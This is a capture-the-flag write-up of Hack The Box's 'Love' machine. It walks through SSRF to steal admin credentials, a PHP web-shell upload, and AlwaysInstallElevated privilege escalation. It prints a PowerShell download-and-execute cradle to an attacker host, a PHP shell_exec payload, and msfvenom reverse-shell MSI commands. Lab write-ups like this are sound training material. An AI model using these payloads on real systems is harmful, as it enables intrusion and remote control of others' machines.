HTB — Love Writeup

5 min readOct 10, 2021

This is my write-up for the ‘Love’ box found on Hack The Box.

Summary:

A hidden subdomain was located in certificate issuer information
The “File Scanner” web application was vulnerable to Server Side Request Forgery (SSRF), which provided the ability to obtain admin credentials. These credentials were valid for the admin portal in a different web application.
The admin dashboard was vulnerable to malicious PHP file upload via the “Photo” update option on the user profile page
Privilege escalation was possible due to the alwaysInstallElevated registry key set to True

Services:

nmap -vv --reason --top-ports 1000 -sV -Pn 10.10.10.239PORT     STATE SERVICE      REASON  VERSION
80/tcp   open  http         syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp  open  msrpc        syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
443/tcp  open  ssl/http     syn-ack Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp  open  microsoft-ds syn-ack Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql?       syn-ack
5000/tcp open  http         syn-ack Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)

User Flag

Nmap discovered web services available on ports 80, 443, and 5000. When web services have HTTPS enabled, I always like to check certificate information, as this can a valuable source of information especially during the reconnaissance phase.

Certificate information can be pulled automatically using the ssl-cert NSE script from nmap, or you can simply browse to the site and manually view the certificate details in the browser:

The certificate “Issuer” details revealed a new subdomain atstaging.love.htb . To force the browser to use the correct Host header during browsing, I first changed my /etc/hosts file to include the entry 10.10.10.239 staging.love.htb

After making that change, I accessed a different web service called “Free File Scanner”. There was also a “Demo” page at /beta.php where any user can provide a URL as input to a form and the service will theoretically do some scanning action with it.

File Scanning Service at staging.love.htb

As the service was conducting the requests itself (server-side), I thought I might be able to leverage SSRF to do additional enumeration or gain other types of access. After testing various requests using localhost in the input, I determined the server was indeed vulnerable as it was not sanitizing any of these requests.

After reviewing initial nmap results, I noted there was another HTTP service running on port 5000. Requests to this service from my attacker host returned a 403 error.

However, if I forced the server to make this request via SSRF to localhost:5000 on the vulnerable input parameter, I could view sensitive information on the page, which included admin credentials for the voting system administration.

SSRF to obtain administrative credentials

I could then use those credentials to login to the voting system admin portal at http://10.10.10.239/admin — Note: this is actually a different login compared to the base voting system at http://10.10.10.239 as you can see the subtle difference in the ID login placeholder.

After logging in and analyzing the admin portal, I noticed various file upload opportunities, one of which was located as the “Photo” option of the “Update” modal for the user’s profile. Since the PHP engine was utilized in this application, I determined a malicious PHP file upload would be the best candidate in gaining code execution.

Creating a PHP Payload

First, I setup a Cobalt Strike teamserver and started the scripted web delivery service. This provides a sample download cradle to use in a powershell Invoke-Expression (IEX) cmdlet. I also encoded this command on linux using iconv so I could avoid any issues with nested quotation strings:

echo "IEX ((new-object net.webclient).downloadstring('http://<attackerIP>:80/a'))" | iconv -t UTF-16LE  | base64 -w 0

This provided a correctly formatted and encoded powershell command, which can then be executed by a simple shell_exec function in a malicious php script, test.php , which contained the following:

<?php shell_exec("powershell -nop -w hidden -enc <BASE64>");?>

I then uploaded this file to the web application via the photo upload option:

After saving the changes, I received a callback in the context of the low-privilege user, Phoebe, and successfully retrieved the user.txt flag.

Root Flag

With low privilege access, I began local host enumeration using Seatbelt and SharpUp. In the SharpUp output, I noticed that the host had the AlwaysInstallElevated registry keys set to True.

When true, it allows standard users to install applications that require access to directories and registry keys that they may not usually have permission to change. This is equivalent to granting full administrative rights and even though Microsoft strongly discourages its use, it can still be found in some environments.

In this case, the policy could be abused simply with a malicious MSI (Windows Installer file). I used msfvenom to generate a MSI payload named love2.msi that would trigger a reverse shell callback to my attacker host on port 9548:

msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKERIP> LPORT=9458 -f msi -o love2.msi

I uploaded the malicious MSI to the target host via my low privilege beacon implant. Then, I triggered the install using Microsoft’s Installer program msiexec, running it quietly in the background:

beacon> run msiexec /quiet /qn /i C:\Users\Public\love2.msi

I successfully received a callback in an elevated context and retrieved the root.txt flag: